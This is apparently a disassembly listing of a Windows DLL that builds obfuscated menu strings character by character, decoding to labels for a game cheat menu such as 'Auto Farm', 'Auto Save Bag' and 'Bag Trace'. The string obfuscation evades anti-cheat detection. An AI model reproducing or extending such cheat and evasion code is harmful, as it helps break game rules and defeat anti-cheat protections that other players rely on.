lea rcx, [rbp + 0x4bd8]
call fcn.1800ed030
movsxd rcx, dword [0x1805e4f54]
cmp rax, rcx
jbe 0x1800dfd7d
lea rcx, [rbp + 0x4bd8]
call fcn.1800ed060
test al, al
je 0x1800dfda9
lea rcx, [rbp + 0x4bd8]
call fcn.1800ed060
test al, al
je 0x1800dfd95
mov dword [0x1805e4f54], edi
jmp 0x1800dfda9
lea rcx, [rbp + 0x4bd8]
call fcn.1800ed030
dec eax
mov dword [0x1805e4f54], eax
movss xmm8, dword [0x1801ce774]
movaps xmm0, xmm8
call fcn.180076c20
movaps xmm0, xmm8
call fcn.180076bd0
lea rcx, [rbp + 0x3d28]
call fcn.180076f00
movss xmm6, dword [rax + 4]
mulss xmm6, xmm9
movss xmm13, dword [0x1801ce760]
subss xmm6, xmm13
lea rcx, [rbp + 0x3d30]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm13
movaps xmm2, xmm6
lea rcx, [rbp + 0x3d38]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0xb80], rax
mov dword [rbp + 0xb88], eax
mov cl, 0x23
call fcn.1800147d0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800147d0
mov byte [rsp + 0x51], al
mov cl, 0x67
call fcn.1800147d0
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.1800147d0
mov byte [rsp + 0x53], al
mov cl, 0x69
call fcn.1800147d0
movzx r13d, al
mov cl, 0x66
call fcn.1800147d0
movzx r12d, al
mov cl, 0x65
call fcn.1800147d0
movzx r15d, al
mov cl, 0x5f
call fcn.1800147d0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147d0
movzx esi, al
mov cl, 0x61
call fcn.1800147d0
movzx edi, al
mov cl, 0x62
call fcn.1800147d0
movzx ebx, al
xor ecx, ecx
call fcn.1800147d0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xb80], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xb81], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xb82], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xb83], cl
mov byte [rbp + 0xb84], r13b
mov byte [rbp + 0xb85], r12b
mov byte [rbp + 0xb86], r15b
mov byte [rbp + 0xb87], r14b
mov byte [rbp + 0xb88], sil
mov byte [rbp + 0xb89], dil
mov byte [rbp + 0xb8a], bl
mov byte [rbp + 0xb8b], al
lea rcx, [rbp + 0x2d78]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x4000000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2d78]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xb80]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800147d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2d78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dff40
lea rcx, [rbp + 0x2d78]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x2d78]
call fcn.180011f20
xor eax, eax
mov dword [rbp + 0x158], eax
mov word [rbp + 0x15c], ax
mov cl, 0x47
call fcn.1800568e0
movzx r15d, al
mov cl, 0x4c
call fcn.1800568e0
movzx r14d, al
mov cl, 0x69
call fcn.1800568e0
movzx esi, al
mov cl, 0x66
call fcn.1800568e0
movzx edi, al
mov cl, 0x65
call fcn.1800568e0
movzx ebx, al
xor ecx, ecx
call fcn.1800568e0
mov byte [rbp + 0x158], r15b
mov byte [rbp + 0x159], r14b
mov byte [rbp + 0x15a], sil
mov byte [rbp + 0x15b], dil
mov byte [rbp + 0x15c], bl
mov byte [rbp + 0x15d], al
lea rcx, [rbp + 0x2d98]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x8000000
xor r8d, r8d
mov ebx, 6
mov edx, ebx
lea rcx, [rbp + 0x2d98]
call fcn.180014330
mov edi, ebx
nop dword [rax]
mov rdx, r12
lea rcx, [rbp + 0x158]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.1800568e0
movzx ebx, al
mov rdx, r12
lea rcx, [rbp + 0x2d98]
call fcn.180014c80
mov byte [rax], bl
inc r12
sub rdi, 1
jne 0x1800e0040
lea rcx, [rbp + 0x2d98]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x2d98]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movss xmm10, dword [0x1801ce7ac]
movaps xmm0, xmm10
call fcn.180076bd0
movss xmm0, dword [0x1801ce7c4]
call fcn.180076c20
xor eax, eax
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x6a8], eax
mov byte [rbp + 0x6ac], al
mov cl, 0x20
call fcn.180014950
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.180014950
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180014950
mov byte [rsp + 0x52], al
mov cl, 0x41
call fcn.180014950
mov byte [rsp + 0x53], al
mov cl, 0x75
call fcn.180014950
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014950
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014950
movzx r12d, al
mov cl, 0x20
call fcn.180014950
movzx r15d, al
mov cl, 0x46
call fcn.180014950
movzx r14d, al
mov cl, 0x61
call fcn.180014950
movzx esi, al
mov cl, WSAStartup
call fcn.180014950
movzx edi, al
mov cl, 0x6d
call fcn.180014950
movzx ebx, al
xor ecx, ecx
call fcn.180014950
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x6a0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x6a1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x6a2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x6a3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x6a4], cl
mov byte [rbp + 0x6a5], r13b
mov byte [rbp + 0x6a6], r12b
mov byte [rbp + 0x6a7], r15b
mov byte [rbp + 0x6a8], r14b
mov byte [rbp + 0x6a9], sil
mov byte [rbp + 0x6aa], dil
mov byte [rbp + 0x6ab], bl
mov byte [rbp + 0x6ac], al
lea rcx, [rbp + 0x2db8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x10000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x2db8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x6a0]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180014950
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2db8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e0200
lea rcx, [rbp + 0x2db8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4848]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2db8]
call fcn.180011f20
movss xmm11, dword [0x1801ce8d8]
cmp byte [0x1805e4848], sil
je 0x1800e095c
call fcn.180096cd0
call fcn.180096cd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1080], xmm0
mov cl, 0x41
call fcn.1800146b0
mov byte [rsp + 0x50], al
mov cl, 0x75
call fcn.1800146b0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146b0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146b0
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.1800146b0
mov byte [rsp + 0x54], al
mov cl, 0x46
call fcn.1800146b0
mov byte [rsp + 0x55], al
mov cl, 0x61
call fcn.1800146b0
mov byte [rsp + 0x56], al
mov cl, WSAStartup
call fcn.1800146b0
mov byte [rsp + 0x57], al
mov cl, 0x6d
call fcn.1800146b0
movzx r13d, al
mov cl, 0x20
call fcn.1800146b0
movzx r12d, al
mov cl, 0x53
call fcn.1800146b0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146b0
movzx r14d, al
mov cl, 0x65
call fcn.1800146b0
movzx esi, al
mov cl, 0x65
call fcn.1800146b0
movzx edi, al
mov cl, 0x64
call fcn.1800146b0
movzx ebx, al
xor ecx, ecx
call fcn.1800146b0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1080], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1081], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1082], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x1083], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x1084], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x1085], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x1086], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x1087], cl
mov byte [rbp + 0x1088], r13b
mov byte [rbp + 0x1089], r12b
mov byte [rbp + 0x108a], r15b
mov byte [rbp + 0x108b], r14b
mov byte [rbp + 0x108c], sil
mov byte [rbp + 0x108d], dil
mov byte [rbp + 0x108e], bl
mov byte [rbp + 0x108f], al
lea rcx, [rbp + 0x2dd8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recv
mov edx, ebx
lea rcx, [rbp + 0x2dd8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1080]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.1800146b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2dd8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e03f0
lea rcx, [rbp + 0x3d40]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x2dd8]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3d48]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x2dd8]
call fcn.180011f20
xorps xmm0, xmm0
movups xmmword [rbp + 0x1030], xmm0
mov cl, 0x41
call fcn.180014840
mov byte [rsp + 0x50], al
mov cl, 0x75
call fcn.180014840
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014840
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014840
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180014840
mov byte [rsp + 0x54], al
mov cl, 0x46
call fcn.180014840
mov byte [rsp + 0x55], al
mov cl, 0x61
call fcn.180014840
mov byte [rsp + 0x56], al
mov cl, WSAStartup
call fcn.180014840
mov byte [rsp + 0x57], al
mov cl, 0x6d
call fcn.180014840
movzx r13d, al
mov cl, 0x20
call fcn.180014840
movzx r12d, al
mov cl, 0x53
call fcn.180014840
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014840
movzx r14d, al
mov cl, 0x65
call fcn.180014840
movzx esi, al
mov cl, 0x65
call fcn.180014840
movzx edi, al
mov cl, 0x64
call fcn.180014840
movzx ebx, al
xor ecx, ecx
call fcn.180014840
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1030], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1031], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1032], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x1033], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x1034], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x1035], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x1036], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x1037], cl
mov byte [rbp + 0x1038], r13b
mov byte [rbp + 0x1039], r12b
mov byte [rbp + 0x103a], r15b
mov byte [rbp + 0x103b], r14b
mov byte [rbp + 0x103c], sil
mov byte [rbp + 0x103d], dil
mov byte [rbp + 0x103e], bl
mov byte [rbp + 0x103f], al
lea rcx, [rbp + 0x2df8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recv
mov edx, ebx
lea rcx, [rbp + 0x2df8]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1030]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.180014840
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2df8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800e0600
lea rcx, [rbp + 0x2df8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x2df8]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x1148], eax
mov cl, 0x25
call fcn.180014910
mov byte [rsp + 0x70], al
mov cl, 0x2e
call fcn.180014910
mov byte [rsp + 0x71], al
mov cl, 0x66
call fcn.180014910
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.180014910
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1148], eax
lea rcx, [rbp + 0x2e18]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000000
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x2e18]
call fcn.180014330
mov esi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1148]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.180014910
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2e18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e06e0
lea rcx, [rbp + 0x2e18]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe88], xmm0
mov word [rbp + 0xe98], ax
mov cl, 0x23
call fcn.18001dba0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.18001dba0
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.18001dba0
mov byte [rsp + 0x52], al
mov cl, 0x75
call fcn.18001dba0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.18001dba0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.18001dba0
mov byte [rsp + 0x55], al
mov cl, 0x5f
call fcn.18001dba0
mov byte [rsp + 0x56], al
mov cl, 0x66
call fcn.18001dba0
mov byte [rsp + 0x57], al
mov cl, 0x61
call fcn.18001dba0
mov byte [rsp + 0x58], al
mov cl, WSAStartup
call fcn.18001dba0
mov byte [rsp + 0x59], al
mov cl, 0x6d
call fcn.18001dba0
movzx r13d, al
mov cl, 0x5f
call fcn.18001dba0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.18001dba0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.18001dba0
movzx r14d, al
mov cl, 0x65
call fcn.18001dba0
movzx esi, al
mov cl, 0x65
call fcn.18001dba0
movzx edi, al
mov cl, 0x64
call fcn.18001dba0
movzx ebx, al
xor ecx, ecx
call fcn.18001dba0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xe88], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xe89], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xe8a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xe8b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xe8c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xe8d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xe8e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xe8f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xe90], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xe91], cl
mov byte [rbp + 0xe92], r13b
mov byte [rbp + 0xe93], r12b
mov byte [rbp + 0xe94], r15b
mov byte [rbp + 0xe95], r14b
mov byte [rbp + 0xe96], sil
mov byte [rbp + 0xe97], dil
mov byte [rbp + 0xe98], bl
mov byte [rbp + 0xe99], al
lea rcx, [rbp + 0x1258]
call fcn.180011f00
mov dword [rsp + 0x70], 0x6000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_select
mov edx, ebx
lea rcx, [rbp + 0x1258]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xe88]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.18001dba0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1258]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800e08d0
lea rcx, [rbp + 0x1258]
call fcn.1800143e0
mov dword [rsp + 0x28], edi
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm7
movaps xmm2, xmm15
lea rdx, [0x1805ddd00]
mov rcx, rax
call fcn.180098530
nop
lea rcx, [rbp + 0x1258]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2e18]
call fcn.180011f20
call fcn.180075800
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x6b8], eax
mov byte [rbp + 0x6bc], al
mov cl, 0x20
call fcn.1800ed820
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.1800ed820
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.1800ed820
mov byte [rsp + 0x52], al
mov cl, 0x41
call fcn.1800ed820
mov byte [rsp + 0x53], al
mov cl, 0x75
call fcn.1800ed820
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed820
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed820
movzx r12d, al
mov cl, 0x20
call fcn.1800ed820
movzx r15d, al
mov cl, 0x4c
call fcn.1800ed820
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed820
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed820
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed820
movzx ebx, al
xor ecx, ecx
call fcn.1800ed820
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x6b0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x6b1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x6b2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x6b3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x6b4], cl
mov byte [rbp + 0x6b5], r13b
mov byte [rbp + 0x6b6], r12b
mov byte [rbp + 0x6b7], r15b
mov byte [rbp + 0x6b8], r14b
mov byte [rbp + 0x6b9], sil
mov byte [rbp + 0x6ba], dil
mov byte [rbp + 0x6bb], bl
mov byte [rbp + 0x6bc], al
lea rcx, [rbp + 0x2e38]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x2e38]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x6b0]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.1800ed820
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2e38]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e0aa0
lea rcx, [rbp + 0x2e38]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4849]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2e38]
call fcn.180011f20
call fcn.180096cd0
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x950], rax
mov dword [rbp + 0x958], eax
mov word [rbp + 0x95c], ax
mov cl, 0x20
call fcn.180056a80
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.180056a80
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180056a80
mov byte [rsp + 0x52], al
mov cl, 0x42
call fcn.180056a80
mov byte [rsp + 0x53], al
mov cl, 0x61
call fcn.180056a80
mov byte [rsp + 0x54], al
mov cl, 0x67
call fcn.180056a80
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.180056a80
movzx r13d, al
mov cl, 0x54
call fcn.180056a80
movzx r12d, al
mov cl, WSAStartup
call fcn.180056a80
movzx r15d, al
mov cl, 0x61
call fcn.180056a80
movzx r14d, al
mov cl, 0x63
call fcn.180056a80
movzx esi, al
mov cl, 0x65
call fcn.180056a80
movzx edi, al
mov cl, WSAStartup
call fcn.180056a80
movzx ebx, al
xor ecx, ecx
call fcn.180056a80
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x950], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x951], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x952], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x953], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x954], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x955], cl
mov byte [rbp + 0x956], r13b
mov byte [rbp + 0x957], r12b
mov byte [rbp + 0x958], r15b
mov byte [rbp + 0x959], r14b
mov byte [rbp + 0x95a], sil
mov byte [rbp + 0x95b], dil
mov byte [rbp + 0x95c], bl
mov byte [rbp + 0x95d], al
lea rcx, [rbp + 0x2e58]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x40000000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2e58]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x950]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180056a80
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2e58]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e0c60
lea rcx, [rbp + 0x2e58]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e484a]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2e58]
call fcn.180011f20
movss xmm1, dword [0x1801ce7cc]
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x700], rax
mov word [rbp + 0x708], ax
mov cl, 0x23
call fcn.1800568d0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800568d0
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.1800568d0
movzx r13d, al
mov cl, 0x61
call fcn.1800568d0
movzx r12d, al
mov cl, 0x67
call fcn.1800568d0
movzx r15d, al
mov cl, 0x5f
call fcn.1800568d0
movzx r14d, al
mov cl, 0x65
call fcn.1800568d0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800568d0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800568d0
movzx ebx, al
xor ecx, ecx
call fcn.1800568d0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x700], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x701], cl
mov byte [rbp + 0x702], r13b
mov byte [rbp + 0x703], r12b
mov byte [rbp + 0x704], r15b
mov byte [rbp + 0x705], r14b
mov byte [rbp + 0x706], sil
mov byte [rbp + 0x707], dil
mov byte [rbp + 0x708], bl
mov byte [rbp + 0x709], al
lea rcx, [rbp + 0x2e78]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80000000
xor r8d, r8d
mov ebx, 0xa
mov edx, ebx
lea rcx, [rbp + 0x2e78]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x700]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.1800568d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2e78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e0dc0
lea rcx, [rbp + 0x2e78]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x304e2
lea rdx, [0x1801f7040]
call fcn.18009e200
nop
lea rcx, [rbp + 0x2e78]
call fcn.180011f20
call fcn.180096cd0
movaps xmm0, xmm10
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdd0], xmm0
mov byte [rbp + 0xde0], al
mov cl, 0x20
call fcn.1800ed7e0
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.1800ed7e0
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.1800ed7e0
mov byte [rsp + 0x52], al
mov cl, 0x41
call fcn.1800ed7e0
mov byte [rsp + 0x53], al
mov cl, 0x75
call fcn.1800ed7e0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed7e0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7e0
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.1800ed7e0
mov byte [rsp + 0x57], al
mov cl, 0x53
call fcn.1800ed7e0
mov byte [rsp + 0x58], al
mov cl, 0x61
call fcn.1800ed7e0
movzx r13d, al
mov cl, 0x76
call fcn.1800ed7e0
movzx r12d, al
mov cl, 0x65
call fcn.1800ed7e0
movzx r15d, al
mov cl, 0x20
call fcn.1800ed7e0
movzx r14d, al
mov cl, 0x42
call fcn.1800ed7e0
movzx esi, al
mov cl, 0x61
call fcn.1800ed7e0
movzx edi, al
mov cl, 0x67
call fcn.1800ed7e0
movzx ebx, al
xor ecx, ecx
call fcn.1800ed7e0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xdd0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xdd1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xdd2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xdd3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xdd4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xdd5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xdd6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xdd7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xdd8], cl
mov byte [rbp + 0xdd9], r13b
mov byte [rbp + 0xdda], r12b
mov byte [rbp + 0xddb], r15b
mov byte [rbp + 0xddc], r14b
mov byte [rbp + 0xddd], sil
mov byte [rbp + 0xdde], dil
mov byte [rbp + 0xddf], bl
mov byte [rbp + 0xde0], al
lea rcx, [rbp + 0x2e98]
call fcn.180011f00
mov dword [rsp + 0x70], 1
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recvfrom
mov edx, ebx
lea rcx, [rbp + 0x2e98]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xdd0]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.1800ed7e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2e98]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e0fc0
lea rcx, [rbp + 0x2e98]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4e60]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2e98]
call fcn.180011f20
movss xmm14, dword [0x1801ce720]
cmp byte [0x1805e4e60], sil
je 0x1800e12af
cmp byte [0x1805e3348], sil
jne 0x1800e12af
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
lea r9d, [rsi + 0x5b]
lea r8d, [rsi + 0x35]
lea rcx, [rbp + 0x4948]
call fcn.180011e40
movups xmm6, xmmword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbc0], xmm0
mov word [rbp + 0xbd0], ax
mov byte [rbp + 0xbd2], al
mov cl, 0x57
call fcn.180056810
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056810
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180056810
mov byte [rsp + 0x52], al
mov cl, 0x6b
call fcn.180056810
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180056810
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056810
mov byte [rsp + 0x55], al
mov cl, WSAGetLastError
call fcn.180056810
mov byte [rsp + 0x56], al
mov cl, 0x6c
